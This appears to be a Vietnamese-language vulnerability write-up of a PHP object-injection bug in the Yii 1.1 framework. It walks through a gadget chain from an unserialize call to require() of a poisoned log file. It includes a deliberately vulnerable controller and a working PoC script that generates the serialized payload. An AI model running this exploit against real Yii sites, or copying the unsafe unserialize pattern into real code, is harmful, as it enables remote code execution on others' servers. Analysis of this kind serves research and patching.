# 1-Day Analysis: CVE-2023-47130
## Tổng quan
Yii là một Open-source PHP web framework. Design pattern của Yii là MVC và được dùng nhiều ở Mỹ, Trung Quốc,...

### CVE-2023-47130
CVE-2023-41730 liên quan tới việc không sanitize user input dẫn tới việc nếu có 1 trang web thực hiện unserialize input đó sẽ dẫn tới việc gọi unsafe method và thực thi file bất kỳ.

Ta tạo thêm trong controllers 1 file nhận user input và unserialize input đó:
```php
<?php
class UserInputController extends Controller
{
public function actionIndex()
{
if (isset($_GET['data'])) {
$serializedData = $_GET['data'];
$result = unserialize($serializedData);
} else {
echo "No data provided.";
}
}
}
```
Check git commit: https://github.com/yiisoft/yii/commit/37142be4dc5831114a375392e86d6450d4951c06

`__wakeup()` là magic method của PHP và được tự động gọi khi unserialize => Ta có thể bắt đầu từ đây.
### Attack Flow
Trong method `__wakeup()` của CDbCriteria class sau khi check các placeholder cũ sẽ tiến hành remap thành các placeholder mới (tránh xung đột) bằng hàm `strtr()`:

`strtr()` có thể trigger được method `__toString()` và abstract class CFormElement có `__toString()` gọi đến hàm `render()`:

Trong class CFormInputElement ta có hàm `render()` có thể gọi đến thuộc tính `showErrors` của đối tượng cha (`CModule`):

Khi được trigger, ta có thể gọi đến method `__get()` của class `CModule` và gọi đến hàm `getComponent()`:

Trong hàm `getComponent()`, ta có thể control được giá trị của `$config` => control `$conponent` và gọi đến hàm `init()`:

Tìm trong source code ta có thể thấy trong class CPhpAuthManager sẽ gọi hàm `init()` -> `load()` -> `loadFromFile($this->authFile)` và cuối cùng là đưa vào dangerous function `require()`:



Chúng ta sẽ gọi tới file `application.log` bởi nó sẽ lưu lại REQUEST_URI:

Quay trở lại khi gọi hàm `render()`, ta cũng cần phải xử lý `$this->renderLabel()` và `$this->renderInput()` để mục đích cuối cùng là trigger payload:


Do class `CModule` không có method `getModel()` nên sẽ gọi tới method `__call()` của class cha `CComponent`:

Lúc này, hãy tìm một lớp có method `getModel()`, khởi tạo nó và đặt nó vào `_m`
### PoC
```php
abstract class CModel{}
class CFormModel extends CModel{}
class CBehavior{
private $_enabled;
public function __construct()
{
$this->_enabled=true;
}
}
class CDbCriteria{
public $params;
public $condition;
public function __construct()
{
$this->params=[":ycp"=>"1"];
$this->condition=new CFormInputElement();
}
}
class CComponent{
private $_m;
public function __construct($a)
{
$this->_m=[$a];
}
}
abstract class CModule extends CComponent{
private $_componentConfig=array("showErrors"=>
["class"=>"CPhpAuthManager","authFile"=>"./protected/runtime/application.log"]);
public function __construct()
{
parent::__construct(new CForm());
}
}
class CWebModule extends CModule{}
abstract class CFormElement extends CComponent{
private $_parent;
public $attributes=array();
public function __construct($a)
{ $this->_parent=$a;
$this->attributes=["id"=>"1","name"=>"1","value"=>"1"];
parent::__construct(new CBehavior());
}
}
class CForm extends CFormElement{
private $_model;
public function __construct()
{
parent::__construct(1);
$this->_model=new CFormModel();
}
}
class CFormInputElement extends CFormElement {
private $_label;
private $_required;
public $type;
public function __construct()
{
$this->type="file";
$this->_label=false;
$this->_required="";
parent::__construct(new CWebModule());
}
}
$a=urlencode(serialize([new CDbCriteria]));
echo $a;
```


Source code: https://github.com/yiisoft/yii/archive/refs/tags/1.1.28.zip